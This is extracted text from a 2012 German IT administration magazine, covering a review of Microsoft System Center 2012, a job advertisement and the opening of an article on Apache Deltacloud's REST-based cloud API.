[1] Fedora 17:[http:// fedoraproject. org/ de/​<br />

get‐fedora‐options]<br />

[2] DIET:[http:// fedoraproject. org/ wiki/​<br />

Features/ F17_DIET]<br />

[3] UsrMove: [http:// fedoraproject. org/ wiki/​<br />

Features/ UsrMove]<br />

[4] Workaround Fedora Upgrade: [https://​<br />

fedoraproject. org/ wiki/ Upgrading_Fedora_<br />

using_yum# Fedora_16_‐. 3E_Fedora_17]<br />

[5] Libvirt-Sandbox: [http:// fedoraproject.​<br />

org/ wiki/ Features/ VirtSandbox]<br />

[6] Plan9FS: [http:// wiki. qemu. org/​<br />

Documentation/ 9psetup]<br />

[7] Ovirt-Projekt: [http:// www. ovirt. org/]<br />

[8] Ovirt auf Fedora: [https:// fedoraproject.​<br />

org/ wiki/ Features/ oVirt]<br />

[9] Mesa-3D-Treiber „Llvmpipe“: [http:// www.​<br />

mesa3d. org/ llvmpipe. html]<br />

[10] Xfce 4.10:[http:// repos. fedorapeople. org/​<br />

repos/ kevin/ xfce‐4. 10/]<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

109


Test<br />

System Center 2012<br />

© coliap, 123RF<br />

Microsoft System Center 2012 – Management in der Cloud<br />

Rundum sorglos<br />

Mit dem System Center 2012 bietet Microsoft die umfassende Lösung für das Management von <strong>Server</strong>-Installationen<br />

bis hin zu verteilten Umgebungen. Selbst Linux-Rechner lassen sich damit überwachen. Thomas Joos<br />

Die neue Version der Management Suite<br />

System Center 2012 konzentriert sich vor<br />

allem auf die Verwaltung von Private<br />

Clouds. Die Lizenzierung der neuen Version<br />

hat Microsoft vereinfacht und die<br />

Editionen zusammengefasst. Das neue<br />

System Center 2012 [1] ist nur noch als<br />

Paket erhältlich und soll die <strong>Server</strong>-Verwaltung<br />

im Unternehmen wesentlich verbessern.<br />

Die Produkte lassen sich nicht<br />

mehr einzeln erwerben, mit Ausnahme<br />

des Virenschutzes Endpoint Protection<br />

2012. Um Unternehmen den Einstieg in<br />

die komplette Suite zu ermöglichen, gibt<br />

es nur noch zwei Editionen. Diese enthalten<br />

alle notwendigen Tools, um <strong>Server</strong><br />

im Netzwerk zu verwalten. Zusätzliche<br />

Produkte von Drittherstellern sollen für<br />

Unternehmen entfallen. Die Lizenzierung<br />

erfolgt auf Basis der verwalteten Endgeräte.<br />

In der neuen Version hat Microsoft<br />

auch verstärkt darauf geachtet, dass die<br />

Produkte in System Center durchgängig<br />

über die Powershell ansprechbar sind.<br />

Das soll das Skripten erleichtern und eine<br />

Automatisierung ermöglichen.<br />

System Center 2012 besteht aus acht Produkten,<br />

die alle Belange einer <strong>Server</strong>verwaltung<br />

abdecken:<br />

n Der System Center Configuration Manager<br />

2012 (SCCM) dient vor allem der<br />

Verwaltung von Endgeräten und den<br />

installierten Anwendungen. Die neue<br />

Version hat die Anwender selbst und<br />

deren wechselnde Geräte im Fokus.<br />

Auch Smartphones lassen sich mit der<br />

neuen Version verwalten.<br />

n Der System Center Operations Manager<br />

2012 (SCOM) hat vor allem die<br />

Überwachung der mit SCCM installierten<br />

<strong>Server</strong> und Netzwerkgeräte im<br />

Fokus und ergänzt den SCCM.<br />

n Der System Center Data Protection<br />

Manager 2012 (SCDPM 2012) stellt<br />

die Datensicherungslösung im System<br />

Center dar. Die Lösung kann alle<br />

<strong>Server</strong> im Netzwerk, auch <strong>Server</strong>lösungen,<br />

sichern und die Sicherungen<br />

zentral verwalten.<br />

n System Center Service Manager 2012.<br />

Der wichtigste Fokus des Produktes<br />

ist die Anbindung als zentrale Verwaltungsoberfläche<br />

und Knotenpunkt<br />

für alle System-Center-Produkte im<br />

Unternehmen sowie die Bildung von<br />

Schnittstellen und deren Verknüpfung<br />

und Automatisierung.<br />

n Der System Center Virtual Machine<br />

Manager 2012 (SCVMM) verwaltet virtuelle<br />

<strong>Server</strong> im Netzwerk. Hier lassen<br />

sich neben Hyper-V auch andere<br />

Virtualisierungslösungen wie vSphere<br />

anbinden. Viele Unternehmen haben<br />

SCVMM außerhalb von System Center<br />

lizenziert und müssen bei der neuen<br />

Version deutlich tiefer in die Tasche<br />

greifen.<br />

n Der System Center Orchestrator 2012<br />

dient der Automatisierung von IT-Prozessen.<br />

Microsoft hat das zugekaufte<br />

Produkt Opalis in SCO umbenannt<br />

und in der neuen Version für die Verwaltung<br />

mit der Powershell erweitert.<br />

Wie der Service Manager findet auch<br />

dieses Produkt derzeit nur wenig Anklang.<br />

n Der System Center App Controller<br />

2012 soll dabei helfen. Anwendungen<br />

im Unternehmen zentral zu verwalten<br />

und zwar in einer Private Cloud oder<br />

der Cloud eines Herstellers. Das Tool<br />

verwaltet Vorlagen für Anwendungen,<br />

die sich über andere System-Center-<br />

Produkte bereitstellen lassen.<br />

n Bei System Center Endpoint Protection<br />

2012 handelt es sich um einen Virenschutz,<br />

der sich mit SCCM verwalten<br />

und verteilen lässt.<br />

Der System Center Configuration Manager<br />

2012 ist das wichtigste Produkt im<br />

neuen System Center. Microsoft integriert<br />

die Funktionen des System Center Mobile<br />

Device Manager 2008 komplett in SCCM,<br />

der jetzt Windows Phone 7/​7.5-Geräte<br />

und andere Systeme verwalten kann.<br />

SCCM 2012 konzentriert sich im Gegensatz<br />

zu Vorgängerversionen nicht auf die<br />

PCs der einzelnen Anwender, sondern<br />

auf die Anwender und die benötigten<br />

Applikationen selbst.<br />

Benutzerorientiert<br />

Die Definition eines primären Gerätes<br />

hilft bei der Verteilung von Anwendun-<br />

110 Ausgabe 04-2012 Admin www.admin-magazin.de


System Center 2012<br />

Test<br />

gen. Umgekehrt können Administratoren<br />

auch einem Gerät<br />

mehrere Anwender zuweisen.<br />

Geräten lassen sich auch<br />

primäre Anwender zuweisen,<br />

die dann wiederum im System<br />

ihre Arbeitszeit hinterlegen<br />

können. Auf Basis dieser<br />

Daten kann SCCM 2012 dann<br />

entscheiden, welche Anwendungen<br />

mit den unterschiedlichen<br />

Technologien angeboten<br />

werden (Abbildung 1).<br />

Auf seinem primären Gerät erhält<br />

der Anwender zum Beispiel<br />

eine lokale Installation<br />

seiner benötigten Anwendungen.<br />

Arbeitet er an einem anderen Gerät,<br />

erhält er Zugriff über App-V oder einen<br />

Remotedesktop. Außerdem können Administratoren<br />

Abhängigkeiten zwischen<br />

Anwendungen konfigurieren, sodass immer<br />

die notwendigen Tools und Anwendungspakete<br />

auf den PCs installiert sind.<br />

SCCM kann Anwendungen auch wieder<br />

von PCs entfernen und deinstallieren.<br />

Die Installation von Anwendungen kann<br />

automatisiert erfolgen. Alternativ installieren<br />

die Anwender die zugeordneten<br />

Programme über das neue Webinterface<br />

selbst auf dem Endgerät. Im Portal sehen<br />

Anwender dann alle Programme, die<br />

sie auf dem entsprechenden Gerät verwenden<br />

können. Microsoft spricht hierbei<br />

von benutzerorientierter Verwaltung<br />

(User Centric Management, UCM).<br />

Geräten, die Unternehmen im Schichtbetrieb<br />

einsetzen, können Administratoren<br />

auch mehrere primäre Anwender zuteilen.<br />

Über diesen Weg lässt sich die IT-Infrastruktur<br />

also sehr detailliert darstellen.<br />

Auch Apps für mobile Endgeräte verwalten<br />

Administratoren auf diese Weise.<br />

Neben diesen Möglichkeiten lassen sich<br />

Anwendungen auch in Abhängigkeit voneinander<br />

setzen. Soll auf einem Computer<br />

zum Beispiel die Anwendung A installiert<br />

werden, die von B abhängig ist, dann installiert<br />

SCCM erst die Anwendung B und<br />

anschließend die Anwendung A. Geräte,<br />

die an SCCM 2012 angebunden sind, zum<br />

Beispiel Computer mit Windows 7, verfügen<br />

in der Systemsteuerung über einen<br />

neuen Bereich »Configuration Manager«.<br />

Hierüber lassen sich verschiedene Einstellungen<br />

vorgeben und anzeigen, die<br />

das Gerät mit der System-Center-Infra-<br />

Abbildung 1: Die benutzerzentrierte Verwaltung im Configuration Manager er laubt<br />

es, Geräte wie Computer oder Mobiltelefone einzelnen Anwendern zuzuweisen.<br />

ähnlich wie Exchange <strong>Server</strong><br />

2010. Administratoren können<br />

einzelne Verwaltungsaufgaben<br />

an Benutzer delegieren.<br />

Dazu bietet das System Center<br />

bereits vorgefertigte Verwaltungssrollen<br />

an, zum Beispiel<br />

zur Verwaltung von Endpoint<br />

Protection. Natürlich lassen<br />

sich auch eigene Rollen mit<br />

entsprechenden Rechten anlegen.<br />

Zur Verwaltung hinterlegen<br />

Administratoren zunächst<br />

die Benutzerkonten, die Verwaltungsrechte<br />

erhalten sollen,<br />

in der Management Konsole<br />

des System Center. Dabei<br />

kann das System Center natürlich auch<br />

auf Benutzer aus Active Directory zugreifen.<br />

Den Benutzern lassen sich dann<br />

entsprechenden Verwaltungsrollen zuweisen,<br />

womit sie Verwaltungsrechte erhalten.<br />

Die Verwaltung der Rollen basiert<br />

zusätzlich zu den zugewiesenen Rollen<br />

auf Security Scopes. Dabei handelt es<br />

sich um Sammlungen von Geräten, die<br />

an das System Center angebunden sind.<br />

Security Scopes können zum Beispiel<br />

Computer einer Niederlassung sein, die<br />

nur bestimmte Administratoren verwalten<br />

dürfen. Ebenfalls integriert ist das<br />

User State Migration Tool (USMT) 4.0,<br />

um Benutzereinstellungen zu übernehmen.<br />

Das Booten über Netzwerk (PXE)<br />

funktioniert wesentlich zuverlässiger<br />

und einfacher. Installationen von Anstruktur<br />

anbinden. SCCM hilft auch bei<br />

der Bereitstellung von Betriebssystemen<br />

im Unternehmen. Linux und Unix lassen<br />

sich mit SCCM 2012 besser verwalten<br />

als mit den Vorgängerversionen. Optimal<br />

unterstützt das Produkt AIX, HP-UX, Red<br />

Hat Enterprise Linux, Solaris und Suse<br />

Linux Enterprise <strong>Server</strong>.<br />

Standortverwaltung<br />

Die Verwaltung von Standorten hat Microsoft<br />

überarbeitet. Die oberste Ebene<br />

einer SCCM 2012-Infrastruktur ist die<br />

Central Administration Site (CAS). Mit<br />

dieser lassen sich alle Standorte anbinden<br />

und verwalten. Der CSA sind keine<br />

Clients zugeordnet, sie dient nur der zentralen<br />

Verwaltung aller <strong>Server</strong> und Sites.<br />

Über eine CSA lassen sich mehrere primäre<br />

Sites zentral verwalten. Die CSA behält<br />

dazu Kontrolle über die Datenbank,<br />

die zentrale Konfiguration der SCCM-Infrastruktur<br />

und kann Berichte erstellen.<br />

Sekundäre Sites lassen sich zu Distribution<br />

Points herabstufen, primäre Sites<br />

lassen sich nicht mehr anpassen. Auf<br />

diese Weise gestaltet sich die Verwaltung<br />

wesentlich einfacher als in der Vorgängerversionen.<br />

Neu ist die Active Directory<br />

Forest Discovery. Mit dieser Technik kann<br />

SCCM 2012 mehrere Active-Directory-Gesamtstrukturen<br />

erkennen und verwalten.<br />

Die Verwaltungsoberfläche hat Microsoft<br />

komplett überarbeitet.<br />

Rechte durch Rollen<br />

SCCM 2012 arbeitet mit einer rollenbasierten<br />

Zugriffsberechtigung (RBAC),<br />

C13<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

111


Test<br />

System Center 2012<br />

wendungen und Patches lassen sich in<br />

Offline-Bereitstellungen von WIM-Images<br />

integrieren und an angebundene Clients<br />

verteilen. Auch hier arbeitet SCCM 2012<br />

wesentlich zuverlässiger als die Vorgängerversionen.<br />

Für die Verwendung des<br />

Exchange-<strong>Server</strong>-Connectors lässt sich<br />

Exchange <strong>Server</strong> 2010 anbinden. Über<br />

diesen Connector liest SCCM 2012 die<br />

Activesync-Richtlinien von Exchange<br />

ein und leitet sie an die angebundenen<br />

Endgeräte weiter. SCCM 2007 unterstützt<br />

ältere Windows Mobile-Versionen mit<br />

eigenen Verwaltungsfunktionen. Diese<br />

überschneiden sich mit den Activesync-<br />

Richtlinien. Daher geht SCCM 2012 einen<br />

anderen Weg und bindet die Exchange-<br />

Activesync-Richtlinien direkt von den<br />

Exchange-<strong>Server</strong>n ein. Hierbei handelt<br />

es sich um eine Technologie die SCCM<br />

2012 von System Center Device Manager<br />

2008 übernommen hat. Die entsprechenden<br />

Einstellungen finden sich in den<br />

Eigenschaften des Exchange-<strong>Server</strong>-Connectors.<br />

Über diesen Connector können<br />

Administratoren angebundene Endgeräte<br />

auch über das Internet löschen (Remote<br />

Wipe). Der Connector kann nicht nur<br />

Richtlinien von Exchange an die Clients<br />

weiterleiten, sondern auch Inventuren<br />

der angebundenen Geräte durchführen.<br />

Editionen und Lizenzen im<br />

Vergleich<br />

Mit der Standard Edition sollen Unternehmen<br />

lokal installierte <strong>Server</strong> verwalten<br />

können ebenso wie virtuelle <strong>Server</strong>. Für<br />

große Unternehmen ist die Datacenter<br />

Edition gedacht. Beide Pakete umfassen<br />

alle System-Center-Produkte sowie die<br />

notwendigen Lizenzen für die Installation<br />

einer SQL-<strong>Server</strong>-Datenbank. Der<br />

wesentliche Unterschied der beiden Editionen<br />

besteht in der erlaubten Anzahl<br />

installierter Betriebssysteme.<br />

Die Standard Edition erlaubt die Verwaltung<br />

von zwei installierten Systemen<br />

(Hyper-V-Host und eine VM), die Datacenter<br />

Edition eine unbegrenzte Anzahl.<br />

Allerdings sind pro Lizenz bei beiden<br />

Editionen nur zwei Prozessoren berücksichtigt.<br />

Die Kerne dieser CPUs spielen<br />

dabei keine Rolle. Ein <strong>Server</strong> mit vier<br />

Prozessoren benötigt daher zwei Lizenzen.<br />

Auch wenn Microsoft die Lizenzierung<br />

[2] vereinfacht hat, gibt es hierbei<br />

Abbildung 2: Mit Endpoint Protection 2012 können Administratoren den Virenschutz der verwalteten Systeme<br />

überwachen.<br />

immer noch viele Fallstricke. Zunächst<br />

spielen die installierten Betriebssysteme<br />

eine Rolle und zwar auf dem Virtualisierungs-Hosts<br />

und den virtuellen <strong>Server</strong>n.<br />

Allerdings müssen hier nur die verwalteten<br />

Systeme einbezogen werden, nicht<br />

die Verwaltungs-<strong>Server</strong> und auch nicht<br />

die Datenbankserver. Dann müssen Administratoren<br />

noch die Prozessoren der<br />

angebundenen Clientsysteme zählen. Auf<br />

dieser Basis ist dann die Entscheidung<br />

zu fällen, ob mehrere Standard-Edition-<br />

Lizenzen günstiger sind als wenige Datacenter-Editionen.<br />

Dazu kommen noch<br />

die verschiedenen Verträge, die Unternehmen<br />

mit Microsoft eingehen können.<br />

Im Schnitt kostet die Datacenter-Edition<br />

knapp das Dreifache der Standardedition<br />

(3600 <strong>gegen</strong>über 1300 US-Dollar). Wer<br />

die Software einsetzen will, kommt um<br />

eine ausführliche Lizenzberatung nicht<br />

herum. Ein Whitepaper [3] beantwortet<br />

die häufigsten Fragen.<br />

Virenschutz<br />

Bestandteil des Pakets ist Microsoft<br />

Forefront Endpoint Protection 2012, ein<br />

Virenschutz, der sich mit den anderen<br />

Produkten im System Center überwachen<br />

lässt. Forefront Endpoint Protection ist<br />

das einzige Tool im System-Center-Paket,<br />

das Unternehmen auch einzeln kaufen<br />

können. Mit Endpoint Protection 2012<br />

können Administratoren den Virenschutz<br />

direkt aus System Center Configurations<br />

Manager 2012 steuern und mit Operations<br />

Manager 2012 überwachen (Abbildung<br />

2). Basis von Endpoint Protection sind<br />

die Antimalware-Policies, die Administratoren<br />

in der Verwaltungsoberfläche des<br />

System Center Configuration Managers<br />

steuern. In der Konsole lassen sich verschiedene<br />

Richtlinien erstellen und damit<br />

perfekt an die verschiedenen <strong>Server</strong> und<br />

Computer im Unternehmen anpassen.<br />

Eine Richtlinie besteht aus einem Satz<br />

von Einstellungen, die festlegen, wann<br />

ein Client nach Viren suchen soll, wie<br />

das Verhalten der Software ist, wenn ein<br />

Virus entdeckt wird, und ob die Software<br />

auch Netzlaufwerke und E-Mails nach<br />

Viren durchsuchen soll.<br />

Endpoint Protection bindet sich in die<br />

Verwaltungswerkzeuge des System Center<br />

ein und erlaubt einen Scan von Computern<br />

im Netzwerk. Neben dem Virenschutz<br />

kann Endpoint Protection über<br />

die System Center Configurations Manager-Konsole<br />

auch Firewall-Einstellungen<br />

auf Rechnern vorgeben. Durch die Integration<br />

des Virenschutzes in das System<br />

Center ist keine getrennte Überwachung<br />

von Alarmen notwendig. Informationen<br />

und Benachrichtigungen des Virenschutzes<br />

sind direkt in das System Center mit<br />

eingebunden. Außerdem lassen sich eigene<br />

Berichte erstellen, die den Virenschutz<br />

dokumentieren. Administratoren,<br />

die sich einen Überblick über die Mög-<br />

112 Ausgabe 04-2012 Admin www.admin-magazin.de


System Center 2012<br />

Test<br />

lichkeiten von System Center 2012 und<br />

den integrierten Virenschutz verschaffen<br />

wollen, verwenden am besten eines der<br />

verschiedenen Technet Virtual Labs [4].<br />

Ein Virtual Lab ist eine Remote-Desktop-<br />

Verbindung zu einem virtuellen <strong>Server</strong><br />

und Client, auf dem bereits das System<br />

Center installiert und eingerichtet ist. Die<br />

Verbindung erfolgt am besten über eine<br />

Internet-Explorer-Sitzung.<br />

Software-Verwaltung<br />

Um in System Center 2012 mit System<br />

Center Configuration Manager 2012 Anwendungen<br />

zur Verfügung zu stellen,<br />

definieren Administratoren zunächst ein<br />

primäres Gerät für den Anwender. Hierbei<br />

handelt es sich um den standardmäßigen<br />

Arbeitsplatz. Anwender können<br />

benötigte Programme auch selbst aus<br />

dem Software-Katalog des SCCM 2012<br />

auswählen und installieren. Administratoren<br />

müssen für einzelne Sites den <strong>Server</strong><br />

vorgeben, der den Katalog verwalten<br />

soll. Dazu ist es notwendig, die entsprechende<br />

Systemrolle auf einem <strong>Server</strong> in<br />

der Site zu installieren. Starten Administratoren<br />

den Assistenten zur Installation<br />

von neuen Systemrollen, lässt sich der<br />

entsprechende <strong>Server</strong> und anschließend<br />

die Rolle auswählen, die auf dem <strong>Server</strong><br />

installiert werden soll. Damit Anwender<br />

selbst Programm über den Anwendungskatalog<br />

auswählen können, sind in der<br />

Site die Rollen »Application Catalog Web<br />

Service Point« und »Application Catalog<br />

Website Point« notwendig.<br />

Heterogene Netze<br />

In OPS 2012 gibt es keinen Root Management<br />

<strong>Server</strong> (RMS) mehr, alle Verwaltungsserver<br />

sind gleichberechtigt.<br />

Fällt ein Management-<strong>Server</strong> aus, übernehmen<br />

andere <strong>Server</strong> seine Aufgaben.<br />

In Vorgängerversionen bis OPS 2007 R2<br />

musste in Umgebungen mit hochverfügbaren<br />

<strong>Server</strong>n der RMS-<strong>Server</strong> geclustert<br />

sein, um einen Ausfall zu verhindern.<br />

Management-<strong>Server</strong> in OPS 2012 sind<br />

nicht mehr clusterfähig.<br />

Mehrere Verwaltungsserver lassen sich<br />

zu Gruppen zusammenfassen. Anwendungen<br />

und Netzwerkhardware wie Switches,<br />

Firewalls oder Router lassen sich<br />

mit OPS 2012 effizienter überwachen. In<br />

diesem Bereich kann OPS 2012 auch die<br />

Leistung und Verfügbarkeit der Komponenten<br />

besser beurteilen und darstellen.<br />

Die neue Version erkennt zum Beispiel,<br />

an welchem Port eines Switches ein überwachter<br />

<strong>Server</strong> angeschlossen ist und<br />

kann speziell diesen überwachen. Auch<br />

für die Darstellung der Infrastruktur ist<br />

das sinnvoll. Um einzelne Anwendungen<br />

im Netzwerk besser zu überwachen, bietet<br />

OPS 2012 auch die Unterstützung von<br />

Java-Enterprise-Webanwendungen, zum<br />

Beispiel mit Websphere 6.1/​7, Weblogic<br />

10 und 11, JBoss und Tomcat. Administratoren<br />

können OPS 2012 auch über eine<br />

Webkonsole verwalten. Auch Webparts<br />

für die Einbindung in das eigene Intranet,<br />

zum Beispiel über Sharepoint stehen zur<br />

Verfügung. Administratoren können sich<br />

in der neuen Version eigene Dashboards<br />

erstellen, die genau die Informationen<br />

enthalten, die notwendig sind. Zusätzlich<br />

bietet die neue Version eine noch bessere<br />

Verwaltung in der Powershell an.<br />

Auch für Linux<br />

OPS 2012 arbeitet mit<br />

dem Sicherheitsmodell<br />

von Linux zusammen<br />

und erfordert nicht immer<br />

vollständige Root-<br />

Rechte. Nur wenn ein<br />

bestimmter Überwachungsprozess<br />

erweiterte<br />

Rechte benötigt,<br />

bekommt dieser auch<br />

unter Linux mehr<br />

Rechte. Für Linux/​<br />

Unix gibt es spezielle<br />

eigene Agents. Offiziell<br />

nennt Microsoft<br />

die folgenden Linux-/​<br />

Unix-Systeme: HP-UX<br />

11i v2 und v3 (PA-RISC<br />

und IA64), Oracle Solaris<br />

9 (Sparc) und Solaris<br />

10 (Sparc und x86),<br />

Red Hat Enterprise Linux<br />

4, 5, und 6 (x86/​<br />

x64), Novell SUSE Linux<br />

Enterprise <strong>Server</strong><br />

9 (x86), 10 SP1 (x86/​<br />

x64), and 11 (x86/​x64),<br />

IBM AIX 5.3, AIX 6.1<br />

(Power) und AIX 7.1<br />

(Power). (ofr) n<br />

Infos<br />

[1] Microsoft System Center 2012: [http://​<br />

www. microsoft. com/ de‐de/ server/​<br />

system‐center/ 2012. aspx]<br />

[2] Produktlizenzierung System Center<br />

2012: [http:// www. microsoft. com/​<br />

de‐de/ licensing/ produktlizenzierung/​<br />

system‐center‐2012. aspx]<br />

[3] Licensing Datasheet: [http:// download.​<br />

microsoft. com/ download/ 8/ F/ 2/ 8F24D<br />

CBF‐C487‐465B‐9193‐FA7620E1482A/​<br />

SystemCenter2012_LicensingDatasheet. pdf]<br />

[4] Technet Virtual Labs zu System Center:<br />

[http:// technet. microsoft. com/ en‐us/​<br />

systemcenter/ om/ bb539977]<br />

Der Autor<br />

Thomas Joos ist freiberuflicher IT-Consultant und<br />

seit über 20 Jahren in der IT tätig. Neben seinen<br />

Projekten schreibt er praxisnahe Fachbücher<br />

und Fachartikel rund um Windows und andere<br />

Microsoft-Themen. Online trifft man ihn unter<br />

[http:// thomasjoos. spaces. live. com].<br />

Carhartt WIP hat die traditionellen Workwear-Bestandteile in Bezug<br />

auf außergewöhnliche Qualität, Haltbarkeit und Komfort sorgfältig<br />

angepasst, das herausragende Design neu interpretiert und miteinander<br />

kombiniert. Unsere Vertriebspolitik besteht aus ausgewählten<br />

Einzelhändlern in urban, lifestyle, Menswear und Avantgarde Märkten.<br />

Wir suchen für unseren Hauptsitz in Weil am Rhein zum<br />

nächstmöglichen Zeitpunkt eine / n<br />

Webshop Administrator (m/w)<br />

Deine Aufgaben:<br />

Administration, Wartung, sowie 1st Level Anwendersupport der<br />

B2B-spezifischen Anwendungen und Infrastruktur<br />

Kontrolle / Überwachung der B2B-bezogenen Systemprozesse<br />

Technische Abwicklung von Projekten zur Weiterentwicklung /<br />

Optimierung der B2B Systemlandschaft<br />

Fortlaufende technische Dokumentation der B2B-Systemlandschaft<br />

und der darin abgebildeter Prozesse<br />

Dein Profil:<br />

Ausbildung zur/ zum Fachinformatiker / in oder ähnliche technische<br />

Ausbildung<br />

2-3 Jahre Berufserfahrung<br />

Erfahrung mit „Hybris“ von Vorteil<br />

Webentwicklungserfahrung von Vorteil<br />

Belastbar, flexibel und teamfähig<br />

Eigeninitiatives, selbstständiges Arbeiten<br />

Bewirb Dich online mit Angabe Deiner Gehaltsvorstellung und des<br />

frühestmöglichen Eintrittstermins unter: www.carhartt-wip.com/jobs<br />

www.admin-magazin.de<br />

cardhartt.indd 1<br />

Admin<br />

Ausgabe 04-2012<br />

22.06.2012 16:12:34 Uhr<br />

113


Virtualisierung<br />

Deltacloud<br />

© Wolfgang Grossmann Wolfgang, 123RF<br />

Eine API, viele Clouds<br />

Anschlussfreudig<br />

Heute bringt jede Cloud-Offerte ihre eigene, proprietäre API mit. Das birgt für den Anwender die Gefahr der Abhängigkeit<br />

von einem bestimmten Anbieter, weil eine Migration zur Konkurrenz nahezu unmöglich ist. Apache<br />

Deltacloud löst dieses Problem dank einer einheitlichen API für alle IaaS-Clouds, die sich so mit Treibern an öffentliche<br />

wie private Angebote anpassen lassen. David Lutterkort<br />

Zwar wird schon seit geraumer Zeit darüber<br />

diskutiert, doch haben sich beim<br />

Cloud Computing bislang keine Standards<br />

etabliert. Noch immer ist vieles in<br />

Bewegung. In den letzten Jahren entstanden<br />

eine Reihe öffentlicher Clouds wie<br />

Amazon Elastic Compute Cloud (EC2)<br />

[1], Amazon Simple Storage Service<br />

(S3) [2] oder Jiffybox [3]. In den USA<br />

etwa kommen Anbieter wie Gogrid [4],<br />

Rackspace [5] und Terremark [6] dazu.<br />

Clouds sind noch immer eine sehr junge<br />

Technologie, um Applikation und Dienste<br />

bereitzustellen. Jeder Betreiber und auch<br />

sehr viele proprietär ausgerichtete Technologielieferanten<br />

folgen ihren eigenen<br />

Vorstellungen und steuern die Applikationssicht<br />

auf ihre Weise. Da<strong>gegen</strong> wollen<br />

Unternehmen sich natürlich nur ungern<br />

an einen einzelnen Cloud-Anbieter binden.<br />

Interoperabilität, die einen Wechsel<br />

zwischen Cloud-Anbietern ermöglichen<br />

würde, ist daher besonders wichtig.<br />

Privatwolken<br />

Während es auf der einen Seite ein<br />

durchaus beachtliches Angebot öffentlicher<br />

Clouds gibt, haben auf der anderen<br />

Seite viele Unternehmen ihre privaten<br />

Clouds implementiert, die Applikationen<br />

und Computing Services über das<br />

eigene LAN/​WAN bereitstellen. In den<br />

USA betreiben Unternehmen oft bereits<br />

Dutzende von Clouds, in Deutschland da<strong>gegen</strong><br />

befinden sich viele noch im Experimentierstadium<br />

und nur wenige haben<br />

die ersten privaten Clouds tatsächlich im<br />

produktiven Betrieb. Reicht die Leistungsfähigkeit<br />

der internen Clouds nicht mehr<br />

aus, wäre es wünschenswert, zusätzliche<br />

Ressourcen öffentlicher Clouds nutzen<br />

zu können. Was dafür allerdings lange<br />

Zeit fehlte, war eine Möglichkeit, beide<br />

Welten miteinander zu verknüpfen.<br />

Ein weiterer Aspekt des Themas Interoperabilität<br />

besteht darin, dass sich<br />

unabhängige Softwarehersteller bei der<br />

Entwicklung neuer Anwendungen frühzeitig<br />

entscheiden müssen, in welcher<br />

der bestehenden Clouds ihre Software<br />

laufen soll. Das Erscheinen jeder neuen<br />

Cloud mit eigenem API verursacht hier<br />

zusätzlichen Aufwand. Es gibt daher gute<br />

114 Ausgabe 04-2012 Admin www.admin-magazin.de


Deltacloud<br />

Virtualisierung<br />

Gründe, die für eine konsistente, standardisierte<br />

Cloud-Computing-API sprechen.<br />

Auch wenn die Amazon-Cloud-Angebote<br />

wie EC2 oder S3 für ihre jeweiligen Einsatzgebiete<br />

bereits zweckdienliche APIs<br />

bereitstellen, sind sie dennoch keine<br />

generelle Lösung für andere öffentliche<br />

Clouds. Aus diesem Grund entschloss<br />

sich Red Hat im Herbst 2009, diese Lücke<br />

mit einem Open-Source-Projekt zu<br />

schließen, das sowohl ein einheitliches<br />

Interface definiert als auch Adapter für<br />

die wichtigsten öffentlichen und privaten<br />

Clouds implementiert (Abbildung 1). Damit<br />

wird der Aufwand, neu erscheinende<br />

Clouds zu unterstützen, von den Applikationen<br />

zu ebendieser API, der Deltacloud,<br />

verschoben.<br />

War Deltacloud anfangs ein originäres<br />

Projekt von Red Hat, wurden die bis dahin<br />

fertiggestellte Schnittstelle mit allem<br />

dazugehörigen Code im Frühjahr 2010<br />

zur weiteren Bearbeitung an den Incubator<br />

der Apache Software Foundation [7]<br />

übergeben. Das Projekt wird dort unter<br />

der Bezeichnung Apache Deltacloud [8]<br />

fortgeführt. Damit ist die Herstellerunabhängigkeit<br />

gesichert. Ebenso wie andere<br />

Apache-Projekte wird auch Deltacloud<br />

von einer Vielzahl von Beteiligten aus<br />

unterschiedlichen Unternehmen und Organisation<br />

weiterentwickelt, die sich den<br />

Prinzipien offener Softwarelizenzen und<br />

einer benutzergesteuerten Innovation<br />

verpflichtet haben.<br />

Eine REST-basierte<br />

Schnittstelle<br />

Die Deltacloud-API ist als servicebasierte<br />

REST-Schnittstelle (Representational<br />

State Transfer) über HTTP implementiert,<br />

die einen Deltacloud-<strong>Server</strong> mit Daten<br />

versorgt. Um die Benutzung der REST-<br />

Schnittstelle zu vereinfachen, stellt das<br />

Deltacloud-Projekt sowohl ein CLI-Tool<br />

(Command Line Tool, Listing 1) als auch<br />

Client-Bibliotheken in Ruby, Java, C und<br />

Python zur Verfügung.<br />

Listing 1 zeigt, wie das CLI-Tool »deltacloudc«<br />

benutzt werden kann, um eine<br />

neue virtuelle Maschine anzulegen. In<br />

Zeile 1 wird die Environment-Variable<br />

»API_URL« so gesetzt, dass sie auf einen<br />

lokalen Deltacloud-<strong>Server</strong> zeigt. Die<br />

URL enthält auch Benutzernamen und<br />

Passwort für die Backend-Cloud – sie<br />

Abbildung 1: Apache Deltacloud stellt eine auf REST basierende API zur Kommunikation zwischen Clients und<br />

dem Deltacloud-<strong>Server</strong> (Deltacloud Core) zur Verfügung.<br />

lassen sich alternativ aber auch mit den<br />

Umgebungsvariablen »API_USER« und<br />

»API_PASSWORD« setzen.<br />

In Zeile 2 werden alle vorhandenen Images<br />

aufgelistet, deren Details in den Zeilen<br />

3 bis 5 zu sehen sind. Ebenso werden<br />

die vorhandenen Hardwareprofile in Zeile<br />

6 angefordert und in den Zeilen 7 bis 9<br />

angezeigt. Zeile 10 schließlich legt eine<br />

neue virtuelle Maschine an, die auf dem<br />

Image »img1« beruht und deren virtuelle<br />

Hardware gemäß dem Hardwareprofil<br />

»m1‐small« gewählt wird. Diese Operationen<br />

sehen für andere Backend-Clouds<br />

genau so aus, außer dass Benutzername<br />

und Passwort anzupassen sind.<br />

Cloud Abstraction APIs<br />

Neben Deltacloud gibt es weitere Open-<br />

Source-Projekte, die Cloud Abstraction<br />

APIs entwickeln. Zu nennen sind hier<br />

Jclouds [9], Libcloud [10], Boto [11] und<br />

Fog [12]. All diese Bibliotheken sind jedoch<br />

jeweils an eine bestimmte Programmiersprache<br />

gebunden: jclouds an Java,<br />

libcloud und boto an Python und fog an<br />

Ruby. Es handelt sich immer um sprachspezifische<br />

Libraries. Deltacloud ist da<strong>gegen</strong><br />

völlig sprachunabhängig und die<br />

einzige Cloud Abstraction API, die sich<br />

als Webservice nutzen lässt. Der Vorteil:<br />

Durch den Einsatz vorhandener und weit<br />

